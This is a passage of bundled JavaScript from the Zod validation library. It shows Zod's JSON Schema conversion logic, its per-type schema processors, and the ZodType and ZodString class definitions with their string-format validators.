override: params?.override ?? (() => {}),\n io: params?.io ?? \"output\",\n counter: 0,\n seen: /* @__PURE__ */ new Map(),\n cycles: params?.cycles ?? \"ref\",\n reused: params?.reused ?? \"inline\",\n external: params?.external ?? void 0\n };\n}\nfunction process$1(schema, ctx, _params = {\n path: [],\n schemaPath: []\n}) {\n var _a;\n const def = schema._zod.def;\n const seen = ctx.seen.get(schema);\n if (seen) {\n seen.count++;\n if (_params.schemaPath.includes(schema)) seen.cycle = _params.path;\n return seen.schema;\n }\n const result = {\n schema: {},\n count: 1,\n cycle: void 0,\n path: _params.path\n };\n ctx.seen.set(schema, result);\n const overrideSchema = schema._zod.toJSONSchema?.();\n if (overrideSchema) result.schema = overrideSchema;\n else {\n const params = {\n ..._params,\n schemaPath: [..._params.schemaPath, schema],\n path: _params.path\n };\n if (schema._zod.processJSONSchema) schema._zod.processJSONSchema(ctx, result.schema, params);\n else {\n const _json = result.schema;\n const processor = ctx.processors[def.type];\n if (!processor) throw new Error(`[toJSONSchema]: Non-representable type encountered: ${def.type}`);\n processor(schema, ctx, _json, params);\n }\n const parent = schema._zod.parent;\n if (parent) {\n if (!result.ref) result.ref = parent;\n process$1(parent, ctx, params);\n ctx.seen.get(parent).isParent = true;\n }\n }\n const meta = ctx.metadataRegistry.get(schema);\n if (meta) Object.assign(result.schema, meta);\n if (ctx.io === \"input\" && isTransforming(schema)) {\n delete result.schema.examples;\n delete result.schema.default;\n }\n if (ctx.io === \"input\" && \"_prefault\" in result.schema) (_a = result.schema).default ?? (_a.default = result.schema._prefault);\n delete result.schema._prefault;\n return ctx.seen.get(schema).schema;\n}\nfunction extractDefs(ctx, schema) {\n const root = ctx.seen.get(schema);\n if (!root) throw new Error(\"Unprocessed schema. This is a bug in Zod.\");\n const idToSchema = /* @__PURE__ */ new Map();\n for (const entry of ctx.seen.entries()) {\n const id = ctx.metadataRegistry.get(entry[0])?.id;\n if (id) {\n const existing = idToSchema.get(id);\n if (existing && existing !== entry[0]) throw new Error(`Duplicate schema id \"${id}\" detected during JSON Schema conversion. Two different schemas cannot share the same id when converted together.`);\n idToSchema.set(id, entry[0]);\n }\n }\n const makeURI = (entry) => {\n const defsSegment = ctx.target === \"draft-2020-12\" ? \"$defs\" : \"definitions\";\n if (ctx.external) {\n const externalId = ctx.external.registry.get(entry[0])?.id;\n const uriGenerator = ctx.external.uri ?? ((id) => id);\n if (externalId) return { ref: uriGenerator(externalId) };\n const id = entry[1].defId ?? entry[1].schema.id ?? `schema${ctx.counter++}`;\n entry[1].defId = id;\n return {\n defId: id,\n ref: `${uriGenerator(\"__shared\")}#/${defsSegment}/${id}`\n };\n }\n if (entry[1] === root) return { ref: \"#\" };\n const defUriPrefix = `#/${defsSegment}/`;\n const defId = entry[1].schema.id ?? `__schema${ctx.counter++}`;\n return {\n defId,\n ref: defUriPrefix + defId\n };\n };\n const extractToDef = (entry) => {\n if (entry[1].schema.$ref) return;\n const seen = entry[1];\n const { ref, defId } = makeURI(entry);\n seen.def = { ...seen.schema };\n if (defId) seen.defId = defId;\n const schema = seen.schema;\n for (const key in schema) delete schema[key];\n schema.$ref = ref;\n };\n if (ctx.cycles === \"throw\") for (const entry of ctx.seen.entries()) {\n const seen = entry[1];\n if (seen.cycle) throw new Error(`Cycle detected: #/${seen.cycle?.join(\"/\")}/<root>\n\nSet the \\`cycles\\` parameter to \\`\"ref\"\\` to resolve cyclical schemas with defs.`);\n }\n for (const entry of ctx.seen.entries()) {\n const seen = entry[1];\n if (schema === entry[0]) {\n extractToDef(entry);\n continue;\n }\n if (ctx.external) {\n const ext = ctx.external.registry.get(entry[0])?.id;\n if (schema !== entry[0] && ext) {\n extractToDef(entry);\n continue;\n }\n }\n if (ctx.metadataRegistry.get(entry[0])?.id) {\n extractToDef(entry);\n continue;\n }\n if (seen.cycle) {\n extractToDef(entry);\n continue;\n }\n if (seen.count > 1) {\n if (ctx.reused === \"ref\") {\n extractToDef(entry);\n continue;\n }\n }\n }\n}\nfunction finalize(ctx, schema) {\n const root = ctx.seen.get(schema);\n if (!root) throw new Error(\"Unprocessed schema. This is a bug in Zod.\");\n const flattenRef = (zodSchema) => {\n const seen = ctx.seen.get(zodSchema);\n if (seen.ref === null) return;\n const schema = seen.def ?? seen.schema;\n const _cached = { ...schema };\n const ref = seen.ref;\n seen.ref = null;\n if (ref) {\n flattenRef(ref);\n const refSeen = ctx.seen.get(ref);\n const refSchema = refSeen.schema;\n if (refSchema.$ref && (ctx.target === \"draft-07\" || ctx.target === \"draft-04\" || ctx.target === \"openapi-3.0\")) {\n schema.allOf = schema.allOf ?? [];\n schema.allOf.push(refSchema);\n } else Object.assign(schema, refSchema);\n Object.assign(schema, _cached);\n if (zodSchema._zod.parent === ref) for (const key in schema) {\n if (key === \"$ref\" || key === \"allOf\") continue;\n if (!(key in _cached)) delete schema[key];\n }\n if (refSchema.$ref && refSeen.def) for (const key in schema) {\n if (key === \"$ref\" || key === \"allOf\") continue;\n if (key in refSeen.def && JSON.stringify(schema[key]) === JSON.stringify(refSeen.def[key])) delete schema[key];\n }\n }\n const parent = zodSchema._zod.parent;\n if (parent && parent !== ref) {\n flattenRef(parent);\n const parentSeen = ctx.seen.get(parent);\n if (parentSeen?.schema.$ref) {\n schema.$ref = parentSeen.schema.$ref;\n if (parentSeen.def) for (const key in schema) {\n if (key === \"$ref\" || key === \"allOf\") continue;\n if (key in parentSeen.def && JSON.stringify(schema[key]) === JSON.stringify(parentSeen.def[key])) delete schema[key];\n }\n }\n }\n ctx.override({\n zodSchema,\n jsonSchema: schema,\n path: seen.path ?? []\n });\n };\n for (const entry of [...ctx.seen.entries()].reverse()) flattenRef(entry[0]);\n const result = {};\n if (ctx.target === \"draft-2020-12\") result.$schema = \"https://json-schema.org/draft/2020-12/schema\";\n else if (ctx.target === \"draft-07\") result.$schema = \"http://json-schema.org/draft-07/schema#\";\n else if (ctx.target === \"draft-04\") result.$schema = \"http://json-schema.org/draft-04/schema#\";\n else if (ctx.target === \"openapi-3.0\") {}\n if (ctx.external?.uri) {\n const id = ctx.external.registry.get(schema)?.id;\n if (!id) throw new Error(\"Schema is missing an `id` property\");\n result.$id = ctx.external.uri(id);\n }\n Object.assign(result, root.def ?? root.schema);\n const rootMetaId = ctx.metadataRegistry.get(schema)?.id;\n if (rootMetaId !== void 0 && result.id === rootMetaId) delete result.id;\n const defs = ctx.external?.defs ?? {};\n for (const entry of ctx.seen.entries()) {\n const seen = entry[1];\n if (seen.def && seen.defId) {\n if (seen.def.id === seen.defId) delete seen.def.id;\n defs[seen.defId] = seen.def;\n }\n }\n if (ctx.external) {} else if (Object.keys(defs).length > 0) if (ctx.target === \"draft-2020-12\") result.$defs = defs;\n else result.definitions = defs;\n try {\n const finalized = JSON.parse(JSON.stringify(result));\n Object.defineProperty(finalized, \"~standard\", {\n value: {\n ...schema[\"~standard\"],\n jsonSchema: {\n input: createStandardJSONSchemaMethod(schema, \"input\", ctx.processors),\n output: createStandardJSONSchemaMethod(schema, \"output\", ctx.processors)\n }\n },\n enumerable: false,\n writable: false\n });\n return finalized;\n } catch (_err) {\n throw new Error(\"Error converting schema to JSON.\");\n }\n}\nfunction isTransforming(_schema, _ctx) {\n const ctx = _ctx ?? { seen: /* @__PURE__ */ new Set() };\n if (ctx.seen.has(_schema)) return false;\n ctx.seen.add(_schema);\n const def = _schema._zod.def;\n if (def.type === \"transform\") return true;\n if (def.type === \"array\") return isTransforming(def.element, ctx);\n if (def.type === \"set\") return isTransforming(def.valueType, ctx);\n if (def.type === \"lazy\") return isTransforming(def.getter(), ctx);\n if (def.type === \"promise\" || def.type === \"optional\" || def.type === \"nonoptional\" || def.type === \"nullable\" || def.type === \"readonly\" || def.type === \"default\" || def.type === \"prefault\") return isTransforming(def.innerType, ctx);\n if (def.type === \"intersection\") return isTransforming(def.left, ctx) || isTransforming(def.right, ctx);\n if (def.type === \"record\" || def.type === \"map\") return isTransforming(def.keyType, ctx) || isTransforming(def.valueType, ctx);\n if (def.type === \"pipe\") {\n if (_schema._zod.traits.has(\"$ZodCodec\")) return true;\n return isTransforming(def.in, ctx) || isTransforming(def.out, ctx);\n }\n if (def.type === \"object\") {\n for (const key in def.shape) if (isTransforming(def.shape[key], ctx)) return true;\n return false;\n }\n if (def.type === \"union\") {\n for (const option of def.options) if (isTransforming(option, ctx)) return true;\n return false;\n }\n if (def.type === \"tuple\") {\n for (const item of def.items) if (isTransforming(item, ctx)) return true;\n if (def.rest && isTransforming(def.rest, ctx)) return true;\n return false;\n }\n return false;\n}\n/**\n* Creates a toJSONSchema method for a schema instance.\n* This encapsulates the logic of initializing context, processing, extracting defs, and finalizing.\n*/\nconst createToJSONSchemaMethod = (schema, processors = {}) => (params) => {\n const ctx = initializeContext({\n ...params,\n processors\n });\n process$1(schema, ctx);\n extractDefs(ctx, schema);\n return finalize(ctx, schema);\n};\nconst createStandardJSONSchemaMethod = (schema, io, processors = {}) => (params) => {\n const { libraryOptions, target } = params ?? {};\n const ctx = initializeContext({\n ...libraryOptions ?? {},\n target,\n io,\n processors\n });\n process$1(schema, ctx);\n extractDefs(ctx, schema);\n return finalize(ctx, schema);\n};\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/json-schema-processors.js\nconst formatMap = {\n guid: \"uuid\",\n url: \"uri\",\n datetime: \"date-time\",\n json_string: \"json-string\",\n regex: \"\"\n};\nconst stringProcessor = (schema, ctx, _json, _params) => {\n const json = _json;\n json.type = \"string\";\n const { minimum, maximum, format, patterns, contentEncoding } = schema._zod.bag;\n if (typeof minimum === \"number\") json.minLength = minimum;\n if (typeof maximum === \"number\") json.maxLength = maximum;\n if (format) {\n json.format = formatMap[format] ?? format;\n if (json.format === \"\") delete json.format;\n if (format === \"time\") delete json.format;\n }\n if (contentEncoding) json.contentEncoding = contentEncoding;\n if (patterns && patterns.size > 0) {\n const regexes = [...patterns];\n if (regexes.length === 1) json.pattern = regexes[0].source;\n else if (regexes.length > 1) json.allOf = [...regexes.map((regex) => ({\n ...ctx.target === \"draft-07\" || ctx.target === \"draft-04\" || ctx.target === \"openapi-3.0\" ? { type: \"string\" } : {},\n pattern: regex.source\n }))];\n }\n};\nconst neverProcessor = (_schema, _ctx, json, _params) => {\n json.not = {};\n};\nconst unknownProcessor = (_schema, _ctx, _json, _params) => {};\nconst enumProcessor = (schema, _ctx, json, _params) => {\n const def = schema._zod.def;\n const values = getEnumValues(def.entries);\n if (values.every((v) => typeof v === \"number\")) json.type = \"number\";\n if (values.every((v) => typeof v === \"string\")) json.type = \"string\";\n json.enum = values;\n};\nconst customProcessor = (_schema, ctx, _json, _params) => {\n if (ctx.unrepresentable === \"throw\") throw new Error(\"Custom types cannot be represented in JSON Schema\");\n};\nconst transformProcessor = (_schema, ctx, _json, _params) => {\n if (ctx.unrepresentable === \"throw\") throw new Error(\"Transforms cannot be represented in JSON Schema\");\n};\nconst arrayProcessor = (schema, ctx, _json, params) => {\n const json = _json;\n const def = schema._zod.def;\n const { minimum, maximum } = schema._zod.bag;\n if (typeof minimum === \"number\") json.minItems = minimum;\n if (typeof maximum === \"number\") json.maxItems = maximum;\n json.type = \"array\";\n json.items = process$1(def.element, ctx, {\n ...params,\n path: [...params.path, \"items\"]\n });\n};\nconst objectProcessor = (schema, ctx, _json, params) => {\n const json = _json;\n const def = schema._zod.def;\n json.type = \"object\";\n json.properties = {};\n const shape = def.shape;\n for (const key in shape) json.properties[key] = process$1(shape[key], ctx, {\n ...params,\n path: [\n ...params.path,\n \"properties\",\n key\n ]\n });\n const allKeys = new Set(Object.keys(shape));\n const requiredKeys = new Set([...allKeys].filter((key) => {\n const v = def.shape[key]._zod;\n if (ctx.io === \"input\") return v.optin === void 0;\n else return v.optout === void 0;\n }));\n if (requiredKeys.size > 0) json.required = Array.from(requiredKeys);\n if (def.catchall?._zod.def.type === \"never\") json.additionalProperties = false;\n else if (!def.catchall) {\n if (ctx.io === \"output\") json.additionalProperties = false;\n } else if (def.catchall) json.additionalProperties = process$1(def.catchall, ctx, {\n ...params,\n path: [...params.path, \"additionalProperties\"]\n });\n};\nconst unionProcessor = (schema, ctx, json, params) => {\n const def = schema._zod.def;\n const isExclusive = def.inclusive === false;\n const options = def.options.map((x, i) => process$1(x, ctx, {\n ...params,\n path: [\n ...params.path,\n isExclusive ? \"oneOf\" : \"anyOf\",\n i\n ]\n }));\n if (isExclusive) json.oneOf = options;\n else json.anyOf = options;\n};\nconst intersectionProcessor = (schema, ctx, json, params) => {\n const def = schema._zod.def;\n const a = process$1(def.left, ctx, {\n ...params,\n path: [\n ...params.path,\n \"allOf\",\n 0\n ]\n });\n const b = process$1(def.right, ctx, {\n ...params,\n path: [\n ...params.path,\n \"allOf\",\n 1\n ]\n });\n const isSimpleIntersection = (val) => \"allOf\" in val && Object.keys(val).length === 1;\n json.allOf = [...isSimpleIntersection(a) ? a.allOf : [a], ...isSimpleIntersection(b) ? b.allOf : [b]];\n};\nconst recordProcessor = (schema, ctx, _json, params) => {\n const json = _json;\n const def = schema._zod.def;\n json.type = \"object\";\n const keyType = def.keyType;\n const patterns = keyType._zod.bag?.patterns;\n if (def.mode === \"loose\" && patterns && patterns.size > 0) {\n const valueSchema = process$1(def.valueType, ctx, {\n ...params,\n path: [\n ...params.path,\n \"patternProperties\",\n \"*\"\n ]\n });\n json.patternProperties = {};\n for (const pattern of patterns) json.patternProperties[pattern.source] = valueSchema;\n } else {\n if (ctx.target === \"draft-07\" || ctx.target === \"draft-2020-12\") json.propertyNames = process$1(def.keyType, ctx, {\n ...params,\n path: [...params.path, \"propertyNames\"]\n });\n json.additionalProperties = process$1(def.valueType, ctx, {\n ...params,\n path: [...params.path, \"additionalProperties\"]\n });\n }\n const keyValues = keyType._zod.values;\n if (keyValues) {\n const validKeyValues = [...keyValues].filter((v) => typeof v === \"string\" || typeof v === \"number\");\n if (validKeyValues.length > 0) json.required = validKeyValues;\n }\n};\nconst nullableProcessor = (schema, ctx, json, params) => {\n const def = schema._zod.def;\n const inner = process$1(def.innerType, ctx, params);\n const seen = ctx.seen.get(schema);\n if (ctx.target === \"openapi-3.0\") {\n seen.ref = def.innerType;\n json.nullable = true;\n } else json.anyOf = [inner, { type: \"null\" }];\n};\nconst nonoptionalProcessor = (schema, ctx, _json, params) => {\n const def = schema._zod.def;\n process$1(def.innerType, ctx, params);\n const seen = ctx.seen.get(schema);\n seen.ref = def.innerType;\n};\nconst defaultProcessor = (schema, ctx, json, params) => {\n const def = schema._zod.def;\n process$1(def.innerType, ctx, params);\n const seen = ctx.seen.get(schema);\n seen.ref = def.innerType;\n json.default = JSON.parse(JSON.stringify(def.defaultValue));\n};\nconst prefaultProcessor = (schema, ctx, json, params) => {\n const def = schema._zod.def;\n process$1(def.innerType, ctx, params);\n const seen = ctx.seen.get(schema);\n seen.ref = def.innerType;\n if (ctx.io === \"input\") json._prefault = JSON.parse(JSON.stringify(def.defaultValue));\n};\nconst catchProcessor = (schema, ctx, json, params) => {\n const def = schema._zod.def;\n process$1(def.innerType, ctx, params);\n const seen = ctx.seen.get(schema);\n seen.ref = def.innerType;\n let catchValue;\n try {\n catchValue = def.catchValue(void 0);\n } catch {\n throw new Error(\"Dynamic catch values are not supported in JSON Schema\");\n }\n json.default = catchValue;\n};\nconst pipeProcessor = (schema, ctx, _json, params) => {\n const def = schema._zod.def;\n const inIsTransform = def.in._zod.traits.has(\"$ZodTransform\");\n const innerType = ctx.io === \"input\" ? inIsTransform ? def.out : def.in : def.out;\n process$1(innerType, ctx, params);\n const seen = ctx.seen.get(schema);\n seen.ref = innerType;\n};\nconst readonlyProcessor = (schema, ctx, json, params) => {\n const def = schema._zod.def;\n process$1(def.innerType, ctx, params);\n const seen = ctx.seen.get(schema);\n seen.ref = def.innerType;\n json.readOnly = true;\n};\nconst optionalProcessor = (schema, ctx, _json, params) => {\n const def = schema._zod.def;\n process$1(def.innerType, ctx, params);\n const seen = ctx.seen.get(schema);\n seen.ref = def.innerType;\n};\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/iso.js\nconst ZodISODateTime = /*@__PURE__*/ $constructor(\"ZodISODateTime\", (inst, def) => {\n $ZodISODateTime.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nfunction datetime(params) {\n return _isoDateTime(ZodISODateTime, params);\n}\nconst ZodISODate = /*@__PURE__*/ $constructor(\"ZodISODate\", (inst, def) => {\n $ZodISODate.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nfunction date(params) {\n return _isoDate(ZodISODate, params);\n}\nconst ZodISOTime = /*@__PURE__*/ $constructor(\"ZodISOTime\", (inst, def) => {\n $ZodISOTime.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nfunction time(params) {\n return _isoTime(ZodISOTime, params);\n}\nconst ZodISODuration = /*@__PURE__*/ $constructor(\"ZodISODuration\", (inst, def) => {\n $ZodISODuration.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nfunction duration(params) {\n return _isoDuration(ZodISODuration, params);\n}\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/errors.js\nconst initializer = (inst, issues) => {\n $ZodError.init(inst, issues);\n inst.name = \"ZodError\";\n Object.defineProperties(inst, {\n format: { value: (mapper) => formatError(inst, mapper) },\n flatten: { value: (mapper) => flattenError(inst, mapper) },\n addIssue: { value: (issue) => {\n inst.issues.push(issue);\n inst.message = JSON.stringify(inst.issues, jsonStringifyReplacer, 2);\n } },\n addIssues: { value: (issues) => {\n inst.issues.push(...issues);\n inst.message = JSON.stringify(inst.issues, jsonStringifyReplacer, 2);\n } },\n isEmpty: { get() {\n return inst.issues.length === 0;\n } }\n });\n};\nconst ZodRealError = /*@__PURE__*/ $constructor(\"ZodError\", initializer, { Parent: Error });\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/parse.js\nconst parse = /* @__PURE__ */ _parse(ZodRealError);\nconst parseAsync = /* @__PURE__ */ _parseAsync(ZodRealError);\nconst safeParse = /* @__PURE__ */ _safeParse(ZodRealError);\nconst safeParseAsync = /* @__PURE__ */ _safeParseAsync(ZodRealError);\nconst encode = /* @__PURE__ */ _encode(ZodRealError);\nconst decode = /* @__PURE__ */ _decode(ZodRealError);\nconst encodeAsync = /* @__PURE__ */ _encodeAsync(ZodRealError);\nconst decodeAsync = /* @__PURE__ */ _decodeAsync(ZodRealError);\nconst safeEncode = /* @__PURE__ */ _safeEncode(ZodRealError);\nconst safeDecode = /* @__PURE__ */ _safeDecode(ZodRealError);\nconst safeEncodeAsync = /* @__PURE__ */ _safeEncodeAsync(ZodRealError);\nconst safeDecodeAsync = /* @__PURE__ */ _safeDecodeAsync(ZodRealError);\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/schemas.js\nconst _installedGroups = /* @__PURE__ */ new WeakMap();\nfunction _installLazyMethods(inst, group, methods) {\n const proto = Object.getPrototypeOf(inst);\n let installed = _installedGroups.get(proto);\n if (!installed) {\n installed = /* @__PURE__ */ new Set();\n _installedGroups.set(proto, installed);\n }\n if (installed.has(group)) return;\n installed.add(group);\n for (const key in methods) {\n const fn = methods[key];\n Object.defineProperty(proto, key, {\n configurable: true,\n enumerable: false,\n get() {\n const bound = fn.bind(this);\n Object.defineProperty(this, key, {\n configurable: true,\n writable: true,\n enumerable: true,\n value: bound\n });\n return bound;\n },\n set(v) {\n Object.defineProperty(this, key, {\n configurable: true,\n writable: true,\n enumerable: true,\n value: v\n });\n }\n });\n }\n}\nconst ZodType = /*@__PURE__*/ $constructor(\"ZodType\", (inst, def) => {\n $ZodType.init(inst, def);\n Object.assign(inst[\"~standard\"], { jsonSchema: {\n input: createStandardJSONSchemaMethod(inst, \"input\"),\n output: createStandardJSONSchemaMethod(inst, \"output\")\n } });\n inst.toJSONSchema = createToJSONSchemaMethod(inst, {});\n inst.def = def;\n inst.type = def.type;\n Object.defineProperty(inst, \"_def\", { value: def });\n inst.parse = (data, params) => parse(inst, data, params, { callee: inst.parse });\n inst.safeParse = (data, params) => safeParse(inst, data, params);\n inst.parseAsync = async (data, params) => parseAsync(inst, data, params, { callee: inst.parseAsync });\n inst.safeParseAsync = async (data, params) => safeParseAsync(inst, data, params);\n inst.spa = inst.safeParseAsync;\n inst.encode = (data, params) => encode(inst, data, params);\n inst.decode = (data, params) => decode(inst, data, params);\n inst.encodeAsync = async (data, params) => encodeAsync(inst, data, params);\n inst.decodeAsync = async (data, params) => decodeAsync(inst, data, params);\n inst.safeEncode = (data, params) => safeEncode(inst, data, params);\n inst.safeDecode = (data, params) => safeDecode(inst, data, params);\n inst.safeEncodeAsync = async (data, params) => safeEncodeAsync(inst, data, params);\n inst.safeDecodeAsync = async (data, params) => safeDecodeAsync(inst, data, params);\n _installLazyMethods(inst, \"ZodType\", {\n check(...chks) {\n const def = this.def;\n return this.clone(mergeDefs(def, { checks: [...def.checks ?? [], ...chks.map((ch) => typeof ch === \"function\" ? { _zod: {\n check: ch,\n def: { check: \"custom\" },\n onattach: []\n } } : ch)] }), { parent: true });\n },\n with(...chks) {\n return this.check(...chks);\n },\n clone(def, params) {\n return clone(this, def, params);\n },\n brand() {\n return this;\n },\n register(reg, meta) {\n reg.add(this, meta);\n return this;\n },\n refine(check, params) {\n return this.check(refine(check, params));\n },\n superRefine(refinement, params) {\n return this.check(superRefine(refinement, params));\n },\n overwrite(fn) {\n return this.check(_overwrite(fn));\n },\n optional() {\n return optional(this);\n },\n exactOptional() {\n return exactOptional(this);\n },\n nullable() {\n return nullable(this);\n },\n nullish() {\n return optional(nullable(this));\n },\n nonoptional(params) {\n return nonoptional(this, params);\n },\n array() {\n return array(this);\n },\n or(arg) {\n return union([this, arg]);\n },\n and(arg) {\n return intersection(this, arg);\n },\n transform(tx) {\n return pipe(this, transform(tx));\n },\n default(d) {\n return _default(this, d);\n },\n prefault(d) {\n return prefault(this, d);\n },\n catch(params) {\n return _catch(this, params);\n },\n pipe(target) {\n return pipe(this, target);\n },\n readonly() {\n return readonly(this);\n },\n describe(description) {\n const cl = this.clone();\n globalRegistry.add(cl, { description });\n return cl;\n },\n meta(...args) {\n if (args.length === 0) return globalRegistry.get(this);\n const cl = this.clone();\n globalRegistry.add(cl, args[0]);\n return cl;\n },\n isOptional() {\n return this.safeParse(void 0).success;\n },\n isNullable() {\n return this.safeParse(null).success;\n },\n apply(fn) {\n return fn(this);\n }\n });\n Object.defineProperty(inst, \"description\", {\n get() {\n return globalRegistry.get(inst)?.description;\n },\n configurable: true\n });\n return inst;\n});\n/** @internal */\nconst _ZodString = /*@__PURE__*/ $constructor(\"_ZodString\", (inst, def) => {\n $ZodString.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => stringProcessor(inst, ctx, json, params);\n const bag = inst._zod.bag;\n inst.format = bag.format ?? null;\n inst.minLength = bag.minimum ?? null;\n inst.maxLength = bag.maximum ?? null;\n _installLazyMethods(inst, \"_ZodString\", {\n regex(...args) {\n return this.check(_regex(...args));\n },\n includes(...args) {\n return this.check(_includes(...args));\n },\n startsWith(...args) {\n return this.check(_startsWith(...args));\n },\n endsWith(...args) {\n return this.check(_endsWith(...args));\n },\n min(...args) {\n return this.check(_minLength(...args));\n },\n max(...args) {\n return this.check(_maxLength(...args));\n },\n length(...args) {\n return this.check(_length(...args));\n },\n nonempty(...args) {\n return this.check(_minLength(1, ...args));\n },\n lowercase(params) {\n return this.check(_lowercase(params));\n },\n uppercase(params) {\n return this.check(_uppercase(params));\n },\n trim() {\n return this.check(_trim());\n },\n normalize(...args) {\n return this.check(_normalize(...args));\n },\n toLowerCase() {\n return this.check(_toLowerCase());\n },\n toUpperCase() {\n return this.check(_toUpperCase());\n },\n slugify() {\n return this.check(_slugify());\n }\n });\n});\nconst ZodString = /*@__PURE__*/ $constructor(\"ZodString\", (inst, def) => {\n $ZodString.init(inst, def);\n _ZodString.init(inst, def);\n inst.email = (params) => inst.check(_email(ZodEmail, params));\n inst.url = (params) => inst.check(_url(ZodURL, params));\n inst.jwt = (params) => inst.check(_jwt(ZodJWT, params));\n inst.emoji = (params) => inst.check(_emoji(ZodEmoji, params));\n inst.guid = (params) => inst.check(_guid(ZodGUID, params));\n inst.uuid = (params) => inst.check(_uuid(ZodUUID, params));\n inst.uuidv4 = (params) => inst.check(_uuidv4(ZodUUID, params));\n inst.uuidv6 = (params) => inst.check(_uuidv6(ZodUUID, params));\n inst.uuidv7 = (params) => inst.check(_uuidv7(ZodUUID, params));\n inst.nanoid = (params) => inst.check(_nanoid(ZodNanoID, params));\n inst.guid = (params) => inst.check(_guid(ZodGUID, params));\n inst.cuid = (params) => inst.check(_cuid(ZodCUID, params));\n inst.cuid2 = (params) => inst.check(_cuid2(ZodCUID2, params));\n inst.ulid = (params) => inst.check(_ulid(ZodULID, params));\n inst.base64 = (params) => inst.check(_base64(ZodBase64, params));\n inst.base64url = (params) => inst.check(_base64url(ZodBase64URL, params));\n inst.xid = (params) => inst.check(_xid(ZodXID, params));\n inst.ksuid = (params) => inst.check(_ksuid(ZodKSUID, params));\n inst.ipv4 = (params) => inst.check(_ipv4(ZodIPv4, params));\n inst.ipv6 = (params) => inst.check(_ipv6(ZodIPv6, params));\n inst.cidrv4 = (params) => inst.check(_cidrv4(ZodCIDRv4, params));\n inst.cidrv6 = (params) => inst.check(_cidrv6(ZodCIDRv6, params));\n inst.e164 = (params) => inst.check(_e164(ZodE164, params));\n inst.datetime = (params) => inst.check(datetime(params));\n inst.date = (params) => inst.check(date(params));\n inst.time = (params) => inst.check(time(params));\n inst.duration = (params) => inst.check(duration(params));\n});\nfunction string(params) {\n return _string(ZodString, params);\n}\nconst ZodStringFormat = /*@__PURE__*/ $constructor(\"ZodStringFormat\", (inst, def) => {\n $ZodStringFormat.init(inst, def);\n _ZodString.init(inst, def);\n});\nconst ZodEmail = /*@__PURE__*/ $constructor(\"ZodEmail\", (inst, def) => {\n $ZodEmail.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodGUID = /*@__PURE__*/ $constructor(\"ZodGUID\", (inst, def) => {\n $ZodGUID.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodUUID = /*@__PURE__*/ $constructor(\"ZodUUID\", (inst, def) => {\n $ZodUUID.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodURL = /*@__PURE__*/ $constructor(\"ZodURL\", (inst, def) => {\n $ZodURL.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodEmoji = /*@__PURE__*/ $constructor(\"ZodEmoji\", (inst, def) => {\n $ZodEmoji.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodNanoID = /*@__PURE__*/ $constructor(\"ZodNanoID\", (inst, def) => {\n $ZodNanoID.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\n/**\n* @deprecated CUID v1 is deprecated by its authors due to information leakage\n* (timestamps embedded in the id). Use {@link ZodCUID2} instead.\n* See https://github.com/paralleldrive/cuid.\n*/\nconst ZodCUID = /*@__PURE__*/ $constructor(\"ZodCUID\", (inst, def) => {\n $ZodCUID.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodCUID2 = /*@__PURE__*/ $constructor(\"ZodCUID2\", (inst, def) => {\n $ZodCUID2.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodULID = /*@__PURE__*/ $constructor(\"ZodULID\", (inst, def) => {\n $ZodULID.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodXID = /*@__PURE__*/ $constructor(\"ZodXID\", (inst, def) => {\n $ZodXID.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodKSUID = /*@__PURE__*/ $constructor(\"ZodKSUID\", (inst, def) => {\n $ZodKSUID.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodIPv4 = /*@__PURE__*/ $constructor(\"ZodIPv4\", (inst, def) => {\n $ZodIPv4.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodIPv6 = /*@__PURE__*/ $constructor(\"ZodIPv6\", (inst, def) => {\n $ZodIPv6.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodCIDRv4 = /*@__PURE__*/ $constructor(\"ZodCIDRv4\", (inst, def) => {\n $ZodCIDRv4.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodCIDRv6 = /*@__PURE__*/ $constructor(\"ZodCIDRv6\", (inst, def) => {\n $ZodCIDRv6.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodBase64 = /*@__PURE__*/ $constructor(\"ZodBase64\", (inst, def) => {\n $ZodBase64.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodBase64URL = /*@__PURE__*/ $constructor(\"ZodBase64URL\", (inst, def) => {\n $ZodBase64URL.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodE164 = /*@__PURE__*/ $constructor(\"ZodE164\", (inst, def) => {\n $ZodE164.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodJWT = /*@__PURE__*/ $constructor(\"ZodJWT\", (inst, def) => {\n $ZodJWT.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodUnknown = /*@__PURE__*/ $constructor(\"ZodUnknown\", (inst, def) => {\n $ZodUnknown.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => unknownProcessor(inst, ctx, json, params);\n});\nfunction unknown() {\n return _unknown(ZodUnknown);\n}\nconst ZodNever = /*@__PURE__*/ $constructor(\"ZodNever\", 